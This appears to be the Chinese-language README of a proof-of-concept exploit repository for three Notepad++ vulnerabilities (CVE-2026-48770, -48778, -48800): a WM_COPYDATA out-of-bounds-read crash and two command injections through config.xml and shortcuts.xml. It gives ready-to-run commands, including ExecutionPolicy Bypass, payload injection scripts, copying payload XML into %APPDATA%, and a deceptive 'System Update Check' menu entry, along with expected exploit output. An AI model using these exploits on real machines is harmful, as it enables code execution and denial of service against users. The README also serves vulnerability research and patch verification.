## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ATIILLA-NOTEPAD-8.9.6-POC
# Notepad++ PoCs
_CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800_
三个针对 Notepad++ <= 8.9.6 版本的漏洞概念验证脚本,已在 v8.9.6.1 (2026-05-26) 中修复。

* * *
## 漏洞信息
CVE| 类型| CVSS| 影响
---|---|---|---
CVE-2026-48770| 通过 `WM_COPYDATA` 越界读取| 5.0| 拒绝服务/崩溃
CVE-2026-48778| 通过 `config.xml` 操作系统命令注入| 7.8| 远程代码执行
CVE-2026-48800| 通过 `shortcuts.xml` 操作系统命令注入| 7.8| 远程代码执行
* * *
## 需求
* Windows 10/11 (建议使用虚拟机)
* 安装了 Notepad++ **< = 8.9.6** 且**未更新**
* Python 3.x (用于 `.py` 脚本)
* PowerShell (内置,用于 `.ps1`)
* * *
## 文件结构
root@kitploit:~
.
├── README.md
├── poc_CVE-2026-48770.py # 越界读取崩溃 (ctypes)
├── poc_CVE-2026-48778.py # 通过 config.xml 远程代码执行
├── poc_CVE-2026-48800.py # 通过 shortcuts.xml 远程代码执行
└── payloads/
├── config.xml # 即用型载荷 (CVE-2026-48778)
├── shortcuts.xml # 即用型载荷 (CVE-2026-48800)
└── poc_CVE-2026-48770.ps1 # 越界读取崩溃 (PowerShell)
* * *
## CVE-2026-48770 - 通过 WM_COPYDATA 越界读取
同一 Windows 会话中的本地进程发送一个精心构造的 `WM_COPYDATA` 消息(`dwData=3`),且不含 NUL 终止符。处理程序读取超出缓冲区边界,产生访问冲突(0xc0000005),导致 Notepad++ 崩溃。
**触发条件:** 必须已打开 Notepad++。
**PowerShell:**
root@kitploit:~
# From payloads\
powershell -ExecutionPolicy Bypass -File poc_CVE-2026-48770.ps1
**Python:**
root@kitploit:~
python poc_CVE-2026-48770.py
**预期输出:**
root@kitploit:~
[+] Found Notepad++ HWND: 0x000A08B4
[*] Sending malformed WM_COPYDATA (dwData=3, cbData=8192, no NUL terminator)...
[+] SendMessageTimeout returned 0 - Notepad++ likely crashed (OOB read -> 0xc0000005)
Notepad++ 窗口消失,可能触发 Windows 错误报告 (WER)。
* * *
## CVE-2026-48778 - 通过 config.xml 远程代码执行
启动时读取 `%APPDATA%\Notepad++\config.xml`。`<GUIConfig name="commandLineInterpreter">` 的值直接传递给 `ShellExecute()` 且未经校验。将其替换为任意可执行文件后,当用户点击**文件 → 打开所在文件夹 → cmd** 时即可实现远程代码执行。
### 方法 A - Python 脚本 (推荐)
root@kitploit:~
# 注入 (自动备份原始文件)
python poc_CVE-2026-48778.py --mode direct --payload calc.exe
# 触发:打开 Notepad++ -> 文件 -> 打开所在文件夹 -> cmd
# 此时启动的是 calc.exe 而非 cmd.exe
# 恢复
python poc_CVE-2026-48778.py --mode direct --restore
### 方法 B - 替换 XML 文件
root@kitploit:~
copy payloads\config.xml %APPDATA%\Notepad++\config.xml
# 打开 Notepad++ -> 文件 -> 打开所在文件夹 -> cmd
### 方法 C - 使用 settingsDir 参数 (无需写入 AppData)
root@kitploit:~
python poc_CVE-2026-48778.py --mode settingsdir --payload calc.exe
# 输出 notepad++.exe -settingsDir= 启动命令
# 触发:文件 -> 打开所在文件夹 -> cmd
* * *
## CVE-2026-48800 - 通过 shortcuts.xml 远程代码执行
启动时读取 `%APPDATA%\Notepad++\shortcuts.xml`。`<UserDefinedCommands>` 下的 `<Command>` 条目会被添加到**运行** 菜单,并直接传递给 `ShellExecute()` 且未经校验。攻击者控制的条目在点击时执行。
### 方法 A - Python 脚本 (推荐)
root@kitploit:~
# 注入 (自动备份原始文件)
python poc_CVE-2026-48800.py --mode direct --payload calc.exe --name "System Update Check"
# 触发:关闭并重新打开 Notepad++ -> 运行菜单 -> "System Update Check"
# 启动 calc.exe
# 恢复
python poc_CVE-2026-48800.py --mode direct --restore
### 方法 B - 替换 XML 文件
root@kitploit:~
copy payloads\shortcuts.xml %APPDATA%\Notepad++\shortcuts.xml
# 重启 Notepad++ -> 运行菜单 -> "System Update Check"
### 方法 C - 使用 settingsDir 参数 (无需写入 AppData)
root@kitploit:~
python poc_CVE-2026-48800.py --mode settingsdir --payload calc.exe
# 输出 notepad++.exe -settingsDir= 启动命令
# 触发:运行菜单 -> "System Update Check"
* * *
## 缓解措施
**更新 Notepad++ 到 v8.9.6.1 或更高版本。**
下载:https://notepad-plus-plus.org/downloads/
* * *
## 安全公告参考
CVE| 安全公告
---|---
CVE-2026-48770| GHSA-r39g-3mcw-xcg2
CVE-2026-48778| GHSA-7hm3-wp5q-ccv9
CVE-2026-48800| GHSA-3x3f-3j39-pj3v
* * *
> 仅供研究和授权测试使用。